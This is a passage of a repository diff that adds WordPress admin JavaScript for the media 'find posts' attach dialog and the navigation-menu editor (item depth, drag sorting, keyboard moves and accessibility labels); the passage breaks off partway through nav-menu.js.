Index: /tags/5.0.20/src/wp-admin/js/media.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/media.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/media.js	(revision 56912)
@@ -0,0 +1,204 @@
+/* global ajaxurl, attachMediaBoxL10n, _wpMediaGridSettings, showNotice */
+
+/**
+ * @summary Creates a dialog containing posts that can have a particular media attached to it.
+ *
+ * @since 2.7.0
+ *
+ * @global
+ * @namespace
+ *
+ * @requires jQuery
+ */
+var findPosts;
+
+( function( $ ){
+	findPosts = {
+		/**
+		 * @summary Opens a dialog to attach media to a post.
+		 *
+		 * Adds an overlay prior to retrieving a list of posts to attach the media to.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @memberOf findPosts
+		 *
+		 * @param {string} af_name The name of the affected element.
+		 * @param {string} af_val The value of the affected post element.
+		 *
+		 * @returns {boolean} Always returns false.
+		 */
+		open: function( af_name, af_val ) {
+			var overlay = $( '.ui-find-overlay' );
+
+			if ( overlay.length === 0 ) {
+				$( 'body' ).append( '<div class="ui-find-overlay"></div>' );
+				findPosts.overlay();
+			}
+
+			overlay.show();
+
+			if ( af_name && af_val ) {
+				// #affected is a hidden input field in the dialog that keeps track of which media should be attached.
+				$( '#affected' ).attr( 'name', af_name ).val( af_val );
+			}
+
+			$( '#find-posts' ).show();
+
+			// Close the dialog when the escape key is pressed.
+			$('#find-posts-input').focus().keyup( function( event ){
+				if ( event.which == 27 ) {
+					findPosts.close();
+				}
+			});
+
+			// Retrieves a list of applicable posts for media attachment and shows them.
+			findPosts.send();
+
+			return false;
+		},
+
+		/**
+		 * @summary Clears the found posts lists before hiding the attach media dialog.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @memberOf findPosts
+		 *
+		 * @returns {void}
+		 */
+		close: function() {
+			$('#find-posts-response').empty();
+			$('#find-posts').hide();
+			$( '.ui-find-overlay' ).hide();
+		},
+
+		/**
+		 * @summary Binds a click event listener to the overlay which closes the attach media dialog.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @memberOf findPosts
+		 *
+		 * @returns {void}
+		 */
+		overlay: function() {
+			$( '.ui-find-overlay' ).on( 'click', function () {
+				findPosts.close();
+			});
+		},
+
+		/**
+		 * @summary Retrieves and displays posts based on the search term.
+		 *
+		 * Sends a post request to the admin_ajax.php, requesting posts based on the search term provided by the user.
+		 * Defaults to all posts if no search term is provided.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @memberOf findPosts
+		 *
+		 * @returns {void}
+		 */
+		send: function() {
+			var post = {
+					ps: $( '#find-posts-input' ).val(),
+					action: 'find_posts',
+					_ajax_nonce: $('#_ajax_nonce').val()
+				},
+				spinner = $( '.find-box-search .spinner' );
+
+			spinner.addClass( 'is-active' );
+
+			/**
+			 * Send a POST request to admin_ajax.php, hide the spinner and replace the list of posts with the response data.
+			 * If an error occurs, display it.
+			 */
+			$.ajax( ajaxurl, {
+				type: 'POST',
+				data: post,
+				dataType: 'json'
+			}).always( function() {
+				spinner.removeClass( 'is-active' );
+			}).done( function( x ) {
+				if ( ! x.success ) {
+					$( '#find-posts-response' ).text( attachMediaBoxL10n.error );
+				}
+
+				$( '#find-posts-response' ).html( x.data );
+			}).fail( function() {
+				$( '#find-posts-response' ).text( attachMediaBoxL10n.error );
+			});
+		}
+	};
+
+	/**
+	 * @summary Initializes the file once the DOM is fully loaded and attaches events to the various form elements.
+	 *
+	 * @returns {void}
+	 */
+	$( document ).ready( function() {
+		var settings, $mediaGridWrap = $( '#wp-media-grid' );
+
+		// Opens a manage media frame into the grid.
+		if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
+			settings = _wpMediaGridSettings;
+
+			window.wp.media({
+				frame: 'manage',
+				container: $mediaGridWrap,
+				library: settings.queryVars
+			}).open();
+		}
+
+		// Prevents form submission if no post has been selected.
+		$( '#find-posts-submit' ).click( function( event ) {
+			if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
+				event.preventDefault();
+		});
+
+		// Submits the search query when hitting the enter key in the search input.
+		$( '#find-posts .find-box-search :input' ).keypress( function( event ) {
+			if ( 13 == event.which ) {
+				findPosts.send();
+				return false;
+			}
+		});
+
+		// Binds the click event to the search button.
+		$( '#find-posts-search' ).click( findPosts.send );
+
+		// Binds the close dialog click event.
+		$( '#find-posts-close' ).click( findPosts.close );
+
+		// Binds the bulk action events to the submit buttons.
+		$( '#doaction, #doaction2' ).click( function( event ) {
+
+			/*
+			 * Retrieves all select elements for bulk actions that have a name starting with `action`
+			 * and handle its action based on its value.
+			 */
+			$( 'select[name^="action"]' ).each( function() {
+				var optionValue = $( this ).val();
+
+				if ( 'attach' === optionValue ) {
+					event.preventDefault();
+					findPosts.open();
+				} else if ( 'delete' === optionValue ) {
+					if ( ! showNotice.warn() ) {
+						event.preventDefault();
+					}
+				}
+			});
+		});
+
+		/**
+		 * @summary Enables clicking on the entire table row.
+		 *
+		 * @returns {void}
+		 */
+		$( '.find-box-inside' ).on( 'click', 'tr', function() {
+			$( this ).find( '.found-radio input' ).prop( 'checked', true );
+		});
+	});
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/nav-menu.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/nav-menu.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/nav-menu.js	(revision 56912)
@@ -0,0 +1,1294 @@
+/**
+ * WordPress Administration Navigation Menu
+ * Interface JS functions
+ *
+ * @version 2.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/* global menus, postboxes, columns, isRtl, navMenuL10n, ajaxurl */
+
+var wpNavMenu;
+
+(function($) {
+
+	var api;
+
+	api = wpNavMenu = {
+
+		options : {
+			menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
+			globalMaxDepth:  11,
+			sortableItems:   '> *',
+			targetTolerance: 0
+		},
+
+		menuList : undefined,	// Set in init.
+		targetList : undefined, // Set in init.
+		menusChanged : false,
+		isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
+		negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
+		lastSearch: '',
+
+		// Functions that run on init.
+		init : function() {
+			api.menuList = $('#menu-to-edit');
+			api.targetList = api.menuList;
+
+			this.jQueryExtensions();
+
+			this.attachMenuEditListeners();
+
+			this.attachQuickSearchListeners();
+			this.attachThemeLocationsListeners();
+			this.attachMenuSaveSubmitListeners();
+
+			this.attachTabsPanelListeners();
+
+			this.attachUnsavedChangesListener();
+
+			if ( api.menuList.length )
+				this.initSortables();
+
+			if ( menus.oneThemeLocationNoMenus )
+				$( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );
+
+			this.initManageLocations();
+
+			this.initAccessibility();
+
+			this.initToggles();
+
+			this.initPreviewing();
+		},
+
+		jQueryExtensions : function() {
+			// jQuery extensions
+			$.fn.extend({
+				menuItemDepth : function() {
+					var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
+					return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
+				},
+				updateDepthClass : function(current, prev) {
+					return this.each(function(){
+						var t = $(this);
+						prev = prev || t.menuItemDepth();
+						$(this).removeClass('menu-item-depth-'+ prev )
+							.addClass('menu-item-depth-'+ current );
+					});
+				},
+				shiftDepthClass : function(change) {
+					return this.each(function(){
+						var t = $(this),
+							depth = t.menuItemDepth(),
+							newDepth = depth + change;
+
+						t.removeClass( 'menu-item-depth-'+ depth )
+							.addClass( 'menu-item-depth-'+ ( newDepth ) );
+
+						if ( 0 === newDepth ) {
+							t.find( '.is-submenu' ).hide();
+						}
+					});
+				},
+				childMenuItems : function() {
+					var result = $();
+					this.each(function(){
+						var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
+						while( next.length && next.menuItemDepth() > depth ) {
+							result = result.add( next );
+							next = next.next( '.menu-item' );
+						}
+					});
+					return result;
+				},
+				shiftHorizontally : function( dir ) {
+					return this.each(function(){
+						var t = $(this),
+							depth = t.menuItemDepth(),
+							newDepth = depth + dir;
+
+						// Change .menu-item-depth-n class
+						t.moveHorizontally( newDepth, depth );
+					});
+				},
+				moveHorizontally : function( newDepth, depth ) {
+					return this.each(function(){
+						var t = $(this),
+							children = t.childMenuItems(),
+							diff = newDepth - depth,
+							subItemText = t.find('.is-submenu');
+
+						// Change .menu-item-depth-n class
+						t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();
+
+						// If it has children, move those too
+						if ( children ) {
+							children.each(function() {
+								var t = $(this),
+									thisDepth = t.menuItemDepth(),
+									newDepth = thisDepth + diff;
+								t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
+							});
+						}
+
+						// Show "Sub item" helper text
+						if (0 === newDepth)
+							subItemText.hide();
+						else
+							subItemText.show();
+					});
+				},
+				updateParentMenuItemDBId : function() {
+					return this.each(function(){
+						var item = $(this),
+							input = item.find( '.menu-item-data-parent-id' ),
+							depth = parseInt( item.menuItemDepth(), 10 ),
+							parentDepth = depth - 1,
+							parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();
+
+						if ( 0 === depth ) { // Item is on the top level, has no parent
+							input.val(0);
+						} else { // Find the parent item, and retrieve its object id.
+							input.val( parent.find( '.menu-item-data-db-id' ).val() );
+						}
+					});
+				},
+				hideAdvancedMenuItemFields : function() {
+					return this.each(function(){
+						var that = $(this);
+						$('.hide-column-tog').not(':checked').each(function(){
+							that.find('.field-' + $(this).val() ).addClass('hidden-field');
+						});
+					});
+				},
+				/**
+				 * Adds selected menu items to the menu.
+				 *
+				 * @param jQuery metabox The metabox jQuery object.
+				 */
+				addSelectedToMenu : function(processMethod) {
+					if ( 0 === $('#menu-to-edit').length ) {
+						return false;
+					}
+
+					return this.each(function() {
+						var t = $(this), menuItems = {},
+							checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
+							re = /menu-item\[([^\]]*)/;
+
+						processMethod = processMethod || api.addMenuItemToBottom;
+
+						// If no items are checked, bail.
+						if ( !checkboxes.length )
+							return false;
+
+						// Show the ajax spinner
+						t.find( '.button-controls .spinner' ).addClass( 'is-active' );
+
+						// Retrieve menu item data
+						$(checkboxes).each(function(){
+							var t = $(this),
+								listItemDBIDMatch = re.exec( t.attr('name') ),
+								listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);
+
+							if ( this.className && -1 != this.className.indexOf('add-to-top') )
+								processMethod = api.addMenuItemToTop;
+							menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
+						});
+
+						// Add the items
+						api.addItemToMenu(menuItems, processMethod, function(){
+							// Deselect the items and hide the ajax spinner
+							checkboxes.removeAttr('checked');
+							t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
+						});
+					});
+				},
+				getItemData : function( itemType, id ) {
+					itemType = itemType || 'menu-item';
+
+					var itemData = {}, i,
+					fields = [
+						'menu-item-db-id',
+						'menu-item-object-id',
+						'menu-item-object',
+						'menu-item-parent-id',
+						'menu-item-position',
+						'menu-item-type',
+						'menu-item-title',
+						'menu-item-url',
+						'menu-item-description',
+						'menu-item-attr-title',
+						'menu-item-target',
+						'menu-item-classes',
+						'menu-item-xfn'
+					];
+
+					if( !id && itemType == 'menu-item' ) {
+						id = this.find('.menu-item-data-db-id').val();
+					}
+
+					if( !id ) return itemData;
+
+					this.find('input').each(function() {
+						var field;
+						i = fields.length;
+						while ( i-- ) {
+							if( itemType == 'menu-item' )
+								field = fields[i] + '[' + id + ']';
+							else if( itemType == 'add-menu-item' )
+								field = 'menu-item[' + id + '][' + fields[i] + ']';
+
+							if (
+								this.name &&
+								field == this.name
+							) {
+								itemData[fields[i]] = this.value;
+							}
+						}
+					});
+
+					return itemData;
+				},
+				setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
+					itemType = itemType || 'menu-item';
+
+					if( !id && itemType == 'menu-item' ) {
+						id = $('.menu-item-data-db-id', this).val();
+					}
+
+					if( !id ) return this;
+
+					this.find('input').each(function() {
+						var t = $(this), field;
+						$.each( itemData, function( attr, val ) {
+							if( itemType == 'menu-item' )
+								field = attr + '[' + id + ']';
+							else if( itemType == 'add-menu-item' )
+								field = 'menu-item[' + id + '][' + attr + ']';
+
+							if ( field == t.attr('name') ) {
+								t.val( val );
+							}
+						});
+					});
+					return this;
+				}
+			});
+		},
+
+		countMenuItems : function( depth ) {
+			return $( '.menu-item-depth-' + depth ).length;
+		},
+
+		moveMenuItem : function( $this, dir ) {
+
+			var items, newItemPosition, newDepth,
+				menuItems = $( '#menu-to-edit li' ),
+				menuItemsCount = menuItems.length,
+				thisItem = $this.parents( 'li.menu-item' ),
+				thisItemChildren = thisItem.childMenuItems(),
+				thisItemData = thisItem.getItemData(),
+				thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
+				thisItemPosition = parseInt( thisItem.index(), 10 ),
+				nextItem = thisItem.next(),
+				nextItemChildren = nextItem.childMenuItems(),
+				nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
+				prevItem = thisItem.prev(),
+				prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
+				prevItemId = prevItem.getItemData()['menu-item-db-id'];
+
+			switch ( dir ) {
+			case 'up':
+				newItemPosition = thisItemPosition - 1;
+
+				// Already at top
+				if ( 0 === thisItemPosition )
+					break;
+
+				// If a sub item is moved to top, shift it to 0 depth
+				if ( 0 === newItemPosition && 0 !== thisItemDepth )
+					thisItem.moveHorizontally( 0, thisItemDepth );
+
+				// If prev item is sub item, shift to match depth
+				if ( 0 !== prevItemDepth )
+					thisItem.moveHorizontally( prevItemDepth, thisItemDepth );
+
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren );
+					// Move the entire block
+					items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
+				} else {
+					thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'down':
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren ),
+						nextItem = menuItems.eq( items.length + thisItemPosition ),
+						nextItemChildren = 0 !== nextItem.childMenuItems().length;
+
+					if ( nextItemChildren ) {
+						newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
+						thisItem.moveHorizontally( newDepth, thisItemDepth );
+					}
+
+					// Have we reached the bottom?
+					if ( menuItemsCount === thisItemPosition + items.length )
+						break;
+
+					items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
+				} else {
+					// If next item has sub items, shift depth
+					if ( 0 !== nextItemChildren.length )
+						thisItem.moveHorizontally( nextItemDepth, thisItemDepth );
+
+					// Have we reached the bottom
+					if ( menuItemsCount === thisItemPosition + 1 )
+						break;
+					thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'top':
+				// Already at top
+				if ( 0 === thisItemPosition )
+					break;
+				// Does this item have sub items?
+				if ( thisItemChildren ) {
+					items = thisItem.add( thisItemChildren );
+					// Move the entire block
+					items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
+				} else {
+					thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
+				}
+				break;
+			case 'left':
+				// As far left as possible
+				if ( 0 === thisItemDepth )
+					break;
+				thisItem.shiftHorizontally( -1 );
+				break;
+			case 'right':
+				// Can't be sub item at top
+				if ( 0 === thisItemPosition )
+					break;
+				// Already sub item of prevItem
+				if ( thisItemData['menu-item-parent-id'] === prevItemId )
+					break;
+				thisItem.shiftHorizontally( 1 );
+				break;
+			}
+			$this.focus();
+			api.registerChange();
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+		},
+
+		initAccessibility : function() {
+			var menu = $( '#menu-to-edit' );
+
+			api.refreshKeyboardAccessibility();
+			api.refreshAdvancedAccessibility();
+
+			// Refresh the accessibility when the user comes close to the item in any way
+			menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
+				api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
+			} );
+
+			// We have to update on click as well because we might hover first, change the item, and then click.
+			menu.on( 'click', 'a.item-edit', function() {
+				api.refreshAdvancedAccessibilityOfItem( $( this ) );
+			} );
+
+			// Links for moving items
+			menu.on( 'click', '.menus-move', function () {
+				var $this = $( this ),
+					dir = $this.data( 'dir' );
+
+				if ( 'undefined' !== typeof dir ) {
+					api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
+				}
+			});
+		},
+
+		/**
+		 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
+		 *
+		 * Refreshes advanced accessibility buttons for one menu item.
+		 * Shows or hides buttons based on the location of the menu item.
+		 *
+		 * @param  {object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
+		 */
+		refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {
+
+			// Only refresh accessibility when necessary
+			if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
+				return;
+			}
+
+			var thisLink, thisLinkText, primaryItems, itemPosition, title,
+				parentItem, parentItemId, parentItemName, subItems,
+				$this = $( itemToRefresh ),
+				menuItem = $this.closest( 'li.menu-item' ).first(),
+				depth = menuItem.menuItemDepth(),
+				isPrimaryMenuItem = ( 0 === depth ),
+				itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
+				position = parseInt( menuItem.index(), 10 ),
+				prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
+				prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
+				prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
+				totalMenuItems = $('#menu-to-edit li').length,
+				hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;
+
+				menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );
+
+			// Where can they move this menu item?
+			if ( 0 !== position ) {
+				thisLink = menuItem.find( '.menus-move-up' );
+				thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
+			}
+
+			if ( 0 !== position && isPrimaryMenuItem ) {
+				thisLink = menuItem.find( '.menus-move-top' );
+				thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
+			}
+
+			if ( position + 1 !== totalMenuItems && 0 !== position ) {
+				thisLink = menuItem.find( '.menus-move-down' );
+				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
+			}
+
+			if ( 0 === position && 0 !== hasSameDepthSibling ) {
+				thisLink = menuItem.find( '.menus-move-down' );
+				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
+			}
+
+			if ( ! isPrimaryMenuItem ) {
+				thisLink = menuItem.find( '.menus-move-left' ),
+				thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
+				thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
+			}
+
+			if ( 0 !== position ) {
+				if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
+					thisLink = menuItem.find( '.menus-move-right' ),
+					thisLinkText = menus.under.replace( '%s', prevItemNameRight );
+					thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
+				}
+			}
+
+			if ( isPrimaryMenuItem ) {
+				primaryItems = $( '.menu-item-depth-0' ),
+				itemPosition = primaryItems.index( menuItem ) + 1,
+				totalMenuItems = primaryItems.length,
+
+				// String together help text for primary menu items
+				title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$d', totalMenuItems );
+			} else {
+				parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
+				parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
+				parentItemName = parentItem.find( '.menu-item-title' ).text(),
+				subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
+				itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
+
+				// String together help text for sub menu items
+				title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$s', parentItemName );
+			}
+
+			$this.attr( 'aria-label', title );
+
+			// Mark this item's accessibility as refreshed
+			$this.data( 'needs_accessibility_refresh', false );
+		},
+
+		/**
+		 * refreshAdvancedAccessibility
+		 *
+		 * Hides all advanced accessibility buttons and marks them for refreshing.
+		 */
+		refreshAdvancedAccessibility : function() {
+
+			// Hide all the move buttons by default.
+			$( '.menu-item-settings .field-move .menus-move' ).hide();
+
+			// Mark all menu items as unprocessed
+			$( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );
+
+			// All open items have to be refreshed or they will show no links
+			$( '.menu-item-edit-active a.item-edit' ).each( function() {
+				api.refreshAdvancedAccessibilityOfItem( this );
+			} );
+		},
+
+		refreshKeyboardAccessibility : function() {
+			$( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
+				$(this).off( 'keydown' ).on( 'keydown', function(e){
+
+					var arrows,
+						$this = $( this ),
+						thisItem = $this.parents( 'li.menu-item' ),
+						thisItemData = thisItem.getItemData();
+
+					// Bail if it's not an arrow key
+					if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
+						return;
+
+					// Avoid multiple keydown events
+					$this.off('keydown');
+
+					// Bail if there is only one menu item
+					if ( 1 === $('#menu-to-edit li').length )
+						return;
+
+					// If RTL, swap left/right arrows
+					arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
+					if ( $('body').hasClass('rtl') )
+						arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };
+
+					switch ( arrows[e.which] ) {
+					case 'up':
+						api.moveMenuItem( $this, 'up' );
+						break;
+					case 'down':
+						api.moveMenuItem( $this, 'down' );
+						break;
+					case 'left':
+						api.moveMenuItem( $this, 'left' );
+						break;
+					case 'right':
+						api.moveMenuItem( $this, 'right' );
+						break;
+					}
+					// Put focus back on same menu item
+					$( '#edit-' + thisItemData['menu-item-db-id'] ).focus();
+					return false;
+				});
+			});
+		},
+
+		initPreviewing : function() {
+			// Update the item handle title when the navigation label is changed.
+			$( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
+				var input = $( e.currentTarget ), title, titleEl;
+				title = input.val();
+				titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
+				// Don't update to empty title.
+				if ( title ) {
+					titleEl.text( title ).removeClass( 'no-title' );
+				} else {
+					titleEl.text( navMenuL10n.untitled ).addClass( 'no-title' );
+				}
+			} );
+		},
+
+		initToggles : function() {
+			// init postboxes
+			postboxes.add_postbox_toggles('nav-menus');
+
+			// adjust columns functions for menus UI
+			columns.useCheckboxesForHidden();
+			columns.checked = function(field) {
+				$('.field-' + field).removeClass('hidden-field');
+			};
+			columns.unchecked = function(field) {
+				$('.field-' + field).addClass('hidden-field');
+			};
+			// hide fields
+			api.menuList.hideAdvancedMenuItemFields();
+
+			$('.hide-postbox-tog').click(function () {
+				var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
+				$.post(ajaxurl, {
+					action: 'closed-postboxes',
+					hidden: hidden,
+					closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
+					page: 'nav-menus'
+				});
+			});
+		},
+
+		initSortables : function() {
+			var currentDepth = 0, originalDepth, minDepth, maxDepth,
+				prev, next, prevBottom, nextThreshold, helperHeight, transport,
+				menuEdge = api.menuList.offset().left,
+				body = $('body'), maxChildDepth,
+				menuMaxDepth = initialMenuMaxDepth();
+
+			if( 0 !== $( '#menu-to-edit li' ).length )
+				$( '.drag-instructions' ).show();
+
+			// Use the right edge if RTL.
+			menuEdge += api.isRTL ? api.menuList.width() : 0;
+
+			api.menuList.sortable({
+				handle: '.menu-item-handle',
+				placeholder: 'sortable-placeholder',
+				items: api.options.sortableItems,
+				start: function(e, ui) {
+					var height, width, parent, children, tempHolder;
+
+					// handle placement for rtl orientation
+					if ( api.isRTL )
+						ui.item[0].style.right = 'auto';
+
+					transport = ui.item.children('.menu-item-transport');
+
+					// Set depths. currentDepth must be set before children are located.
+					originalDepth = ui.item.menuItemDepth();
+					updateCurrentDepth(ui, originalDepth);
+
+					// Attach child elements to parent
+					// Skip the placeholder
+					parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
+					children = parent.childMenuItems();
+					transport.append( children );
+
+					// Update the height of the placeholder to match the moving item.
+					height = transport.outerHeight();
+					// If there are children, account for distance between top of children and parent
+					height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
+					height += ui.helper.outerHeight();
+					helperHeight = height;
+					height -= 2; // Subtract 2 for borders
+					ui.placeholder.height(height);
+
+					// Update the width of the placeholder to match the moving item.
+					maxChildDepth = originalDepth;
+					children.each(function(){
+						var depth = $(this).menuItemDepth();
+						maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
+					});
+					width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width
+					width += api.depthToPx(maxChildDepth - originalDepth); // Account for children
+					width -= 2; // Subtract 2 for borders
+					ui.placeholder.width(width);
+
+					// Update the list of menu items.
+					tempHolder = ui.placeholder.next( '.menu-item' );
+					tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder
+					ui.placeholder.detach(); // detach or jQuery UI will think the placeholder is a menu item
+					$(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQ UI know.
+					ui.item.after( ui.placeholder ); // reattach the placeholder.
+					tempHolder.css('margin-top', 0); // reset the margin
+
+					// Now that the element is complete, we can update...
+					updateSharedVars(ui);
+				},
+				stop: function(e, ui) {
+					var children, subMenuTitle,
+						depthChange = currentDepth - originalDepth;
+
+					// Return child elements to the list
+					children = transport.children().insertAfter(ui.item);
+
+					// Add "sub menu" description
+					subMenuTitle = ui.item.find( '.item-title .is-submenu' );
+					if ( 0 < currentDepth )
+						subMenuTitle.show();
+					else
+						subMenuTitle.hide();
+
+					// Update depth classes
+					if ( 0 !== depthChange ) {
+						ui.item.updateDepthClass( currentDepth );
+						children.shiftDepthClass( depthChange );
+						updateMenuMaxDepth( depthChange );
+					}
+					// Register a change
+					api.registerChange();
+					// Update the item data.
+					ui.item.updateParentMenuItemDBId();
+
+					// address sortable's incorrectly-calculated top in opera
+					ui.item[0].style.top = 0;
+
+					// handle drop placement for rtl orientation
+					if ( api.isRTL ) {
+						ui.item[0].style.left = 'auto';
+						ui.item[0].style.right = 0;
+					}
+
+					api.refreshKeyboardAccessibility();
+					api.refreshAdvancedAccessibility();
+				},
+				change: function(e, ui) {
+					// Make sure the placeholder is inside the menu.
+					// Otherwise fix it, or we're in trouble.
+					if( ! ui.placeholder.parent().hasClass('menu') )
+						(prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );
+
+					updateSharedVars(ui);
+				},
+				sort: function(e, ui) {
+					var offset = ui.helper.offset(),
+						edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
+						depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );
+
+					// Check and correct if depth is not within range.
+					// Also, if the dragged element is dragged upwards over
+					// an item, shift the placeholder to a child position.
+					if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
+						depth = maxDepth;
+					} else if ( depth < minDepth ) {
+						depth = minDepth;
+					}
+
+					if( depth != currentDepth )
+						updateCurrentDepth(ui, depth);
+
+					// If we overlap the next element, manually shift downwards
+					if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
+						next.after( ui.placeholder );
+						updateSharedVars( ui );
+						$( this ).sortable( 'refreshPositions' );
+					}
+				}
+			});
+
+			function updateSharedVars(ui) {
+				var depth;
+
+				prev = ui.placeholder.prev( '.menu-item' );
+				next = ui.placeholder.next( '.menu-item' );
+
+				// Make sure we don't select the moving item.
+				if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
+				if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );
+
+				prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
+				nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
+				minDepth = (next.length) ? next.menuItemDepth() : 0;
+
+				if( prev.length )
+					maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
+				else
+					maxDepth = 0;
+			}
+
+			function updateCurrentDepth(ui, depth) {
+				ui.placeholder.updateDepthClass( depth, currentDepth );
+				currentDepth = depth;
+			}
+
+			function initialMenuMaxDepth() {
+				if( ! body[0].className ) return 0;
+				var match = body[0].className.match(/menu-max-depth-(\d+)/);
+				return match && match[1] ? parseInt( match[1], 10 ) : 0;
+			}
+
+			function updateMenuMaxDepth( depthChange ) {
+				var depth, newDepth = menuMaxDepth;
+				if ( depthChange === 0 ) {
+					return;
+				} else if ( depthChange > 0 ) {
+					depth = maxChildDepth + depthChange;
+					if( depth > menuMaxDepth )
+						newDepth = depth;
